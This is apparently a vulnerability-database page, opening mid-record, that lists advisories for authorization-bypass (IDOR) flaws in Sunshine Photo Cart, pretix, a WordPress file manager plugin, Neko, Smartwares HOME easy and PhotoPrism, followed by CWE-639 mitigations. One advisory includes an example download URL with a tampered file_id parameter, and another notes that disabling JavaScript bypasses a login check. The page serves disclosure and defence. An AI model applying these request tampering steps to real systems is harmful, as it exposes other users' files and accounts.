      "url": "https://support.cometbackup.com/hc/en-us/articles/40090945484823--CVE-2026-29200-%D0%A1ritical-IDOR-vulnerability-in-Comet-Backup"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2GCQ-G27G-MX27

Vulnerability from github – Published: 2023-12-20 15:30 – Updated: 2026-04-28 21:33
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in WP Sunshine Sunshine Photo Cart: Free Client Galleries for Photographers.This issue affects Sunshine Photo Cart: Free Client Galleries for Photographers: from n/a before 3.0.0.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-41796"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-20T14:15:20Z",
    "severity": "MODERATE"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in WP Sunshine Sunshine Photo Cart: Free Client Galleries for Photographers.This issue affects Sunshine Photo Cart: Free Client Galleries for Photographers: from n/a before 3.0.0.",
  "id": "GHSA-2gcq-g27g-mx27",
  "modified": "2026-04-28T21:33:27Z",
  "published": "2023-12-20T15:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41796"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/sunshine-photo-cart/wordpress-sunshine-photo-cart-plugin-2-9-25-order-manipulation-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2GM5-4HQ3-G753

Vulnerability from github – Published: 2026-07-28 12:31 – Updated: 2026-07-28 12:31
VLAI
Details

The "quick setup" view presented to users after they first create an event allows to set up the most critical parts of an event in just a few clicks. This view did not properly check that the user has permission to change configuration for the given event. An attacker could use a well-timed request to create products, quotas, set bank transfer configuration, or connect a stripe account to an event they do not have access to.

Severity
2.3 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-18028"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-28T11:17:03Z",
    "severity": "LOW"
  },
  "details": "The \"quick setup\" view presented to users after they first create an \nevent allows to set up the most critical parts of an event in just a few\n clicks. This view did not properly check that the user has permission \nto change configuration for the given event. An attacker could use a \nwell-timed request to create products, quotas, set bank transfer \nconfiguration, or connect a stripe account to an event they do not have \naccess to.",
  "id": "GHSA-2gm5-4hq3-g753",
  "modified": "2026-07-28T12:31:20Z",
  "published": "2026-07-28T12:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18028"
    },
    {
      "type": "WEB",
      "url": "https://pretix.eu/about/en/blog/20260728-release-2026-6-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2GVX-55M9-GPJJ

Vulnerability from github – Published: 2026-05-03 09:33 – Updated: 2026-05-04 15:31
VLAI
Details

During the analysis, it was identified that authenticated attackers with Subscriber-level access or higher are able to perform an Insecure Direct Object Reference (IDOR) attack. This vulnerability exists because the Frontend File Manager Plugin WordPress plugin through 23.6 does not properly validate user authorization for the requested uploaded file when processing download requests. By modifying the value of the 'file_id' parameter in the download endpoint (e.g., http://localhost/?do=wpfm_download&file_id=40&nm_file_nonce=a36fb893f1), an attacker can access files belonging to other users, including privileged users such as administrators. This allows unauthorized access/read to sensitive data stored within the application.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-5337"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-03T07:16:24Z",
    "severity": "MODERATE"
  },
  "details": "During the analysis, it was identified that authenticated attackers with Subscriber-level access or higher are able to perform an Insecure Direct Object Reference (IDOR) attack. This vulnerability exists because the Frontend File Manager Plugin WordPress plugin through 23.6 does not properly validate user authorization for the requested uploaded file when processing download requests. By modifying the value of the \u0027file_id\u0027 parameter in the download endpoint (e.g., http://localhost/?do=wpfm_download\u0026file_id=40\u0026nm_file_nonce=a36fb893f1), an attacker can access files belonging to other users, including privileged users such as administrators. This allows unauthorized access/read to sensitive data stored  within the application.",
  "id": "GHSA-2gvx-55m9-gpjj",
  "modified": "2026-05-04T15:31:11Z",
  "published": "2026-05-03T09:33:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5337"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/3e28aa78-3227-474a-b1db-1f5ea2c42d14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2GW9-C2R2-F5QF

Vulnerability from github – Published: 2026-04-21 17:24 – Updated: 2026-06-09 10:52
VLAI
Summary
Neko has a Self-service Privilege Escalation for Authenticated Users
Details

Impact

Any authenticated user can immediately obtain full administrative control of the entire Neko instance (member management, room settings, broadcast control, session termination, etc.). This results in a complete compromise of the instance.

Patches

The vulnerability has been patched in the following releases:

Users should upgrade to v3.0.11 or later (for the 3.0 branch) or v3.1.2 or later.

Workarounds

If upgrading is not immediately possible, the following mitigations can reduce risk:

  • Restrict access to trusted users only (avoid granting accounts to untrusted parties)
  • Run the instance only when needed; avoid leaving it continuously exposed
  • Disable or restrict access to the /api/profile endpoint if feasible
  • Monitor for suspicious privilege changes or unexpected administrative actions

Note: These are temporary mitigations and do not fully eliminate the vulnerability. Upgrading is strongly recommended.

Credits

Neko thanks @blitzkrieg-patch for responsibly disclosing this vulnerability and reaching out directly. This contribution helped strengthen the project, and the whole community benefits from it.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/m1k1o/neko/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/m1k1o/neko/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20250322225643-212bf8a60756"
            },
            {
              "fixed": "0.0.0-20260406184107-c54bcf1ee211"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39386"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-269",
      "CWE-284",
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-21T17:24:42Z",
    "nvd_published_at": "2026-04-21T01:16:06Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nAny authenticated user can immediately obtain full administrative control of the entire Neko instance (member management, room settings, broadcast control, session termination, etc.). This results in a complete compromise of the instance.\n\n### Patches\n\nThe vulnerability has been patched in the following releases:\n\n- [v3.0.11](https://github.com/m1k1o/neko/releases/tag/v3.0.11) (backport release)\n- [v3.1.2](https://github.com/m1k1o/neko/releases/tag/v3.1.2) (latest stable release)\n\nUsers should upgrade to [v3.0.11](https://github.com/m1k1o/neko/releases/tag/v3.0.11) or later (for the 3.0 branch) or [v3.1.2](https://github.com/m1k1o/neko/releases/tag/v3.1.2) or later.\n\n### Workarounds\n\nIf upgrading is not immediately possible, the following mitigations can reduce risk:\n\n- Restrict access to trusted users only (avoid granting accounts to untrusted parties)\n- Run the instance only when needed; avoid leaving it continuously exposed\n- Disable or restrict access to the `/api/profile` endpoint if feasible\n- Monitor for suspicious privilege changes or unexpected administrative actions\n\nNote: These are temporary mitigations and do not fully eliminate the vulnerability. Upgrading is strongly recommended.\n\n### Credits\nNeko thanks @blitzkrieg-patch for responsibly disclosing this vulnerability and reaching out directly. This contribution helped strengthen the project, and the whole community benefits from it.",
  "id": "GHSA-2gw9-c2r2-f5qf",
  "modified": "2026-06-09T10:52:18Z",
  "published": "2026-04-21T17:24:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/m1k1o/neko/security/advisories/GHSA-2gw9-c2r2-f5qf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39386"
    },
    {
      "type": "WEB",
      "url": "https://github.com/m1k1o/neko/commit/6b561feb9016badea99ae7305091c0ff55e1d114"
    },
    {
      "type": "WEB",
      "url": "https://github.com/m1k1o/neko/commit/c54bcf1ee211e28104a2bb6db59583a39c4a4d6e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/m1k1o/neko"
    },
    {
      "type": "WEB",
      "url": "https://github.com/m1k1o/neko/releases/tag/v3.0.11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/m1k1o/neko/releases/tag/v3.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Neko has a Self-service Privilege Escalation for Authenticated Users"
}

GHSA-2GWW-FH48-P92F

Vulnerability from github – Published: 2025-12-24 21:30 – Updated: 2025-12-24 21:30
VLAI
Details

Smartwares HOME easy 1.0.9 contains an authentication bypass vulnerability that allows unauthenticated attackers to access administrative web pages by disabling JavaScript. Attackers can navigate to multiple administrative endpoints and to bypass client-side validation and access sensitive system information.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-25235"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-24T20:15:51Z",
    "severity": "HIGH"
  },
  "details": "Smartwares HOME easy 1.0.9 contains an authentication bypass vulnerability that allows unauthenticated attackers to access administrative web pages by disabling JavaScript. Attackers can navigate to multiple administrative endpoints and to bypass client-side validation and access sensitive system information.",
  "id": "GHSA-2gww-fh48-p92f",
  "modified": "2025-12-24T21:30:33Z",
  "published": "2025-12-24T21:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25235"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/47595"
    },
    {
      "type": "WEB",
      "url": "https://www.smartwares.eu"
    },
    {
      "type": "WEB",
      "url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5540.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2H2F-FRXQ-R68W

Vulnerability from github – Published: 2026-06-29 18:31 – Updated: 2026-06-29 18:31
VLAI
Details

PhotoPrism before 260601-a7d098548 contains a broken access control vulnerability that allows authenticated non-admin users to modify other users' profile information by sending requests to arbitrary user endpoints. Attackers can exploit the missing session-to-user identifier validation in the PUT users API endpoint to overwrite another user's profile details without authorization.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-57945"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-29T18:16:39Z",
    "severity": "MODERATE"
  },
  "details": "PhotoPrism before 260601-a7d098548 contains a broken access control vulnerability that allows authenticated non-admin users to modify other users\u0027 profile information by sending requests to arbitrary user endpoints. Attackers can exploit the missing session-to-user identifier validation in the PUT users API endpoint to overwrite another user\u0027s profile details without authorization.",
  "id": "GHSA-2h2f-frxq-r68w",
  "modified": "2026-06-29T18:31:55Z",
  "published": "2026-06-29T18:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57945"
    },
    {
      "type": "WEB",
      "url": "https://github.com/photoprism/photoprism/issues/5619"
    },
    {
      "type": "WEB",
      "url": "https://github.com/photoprism/photoprism/releases/tag/260601-a7d098548"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/photoprism-unauthorized-user-profile-modification-via-put-api-v1-users-uid-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list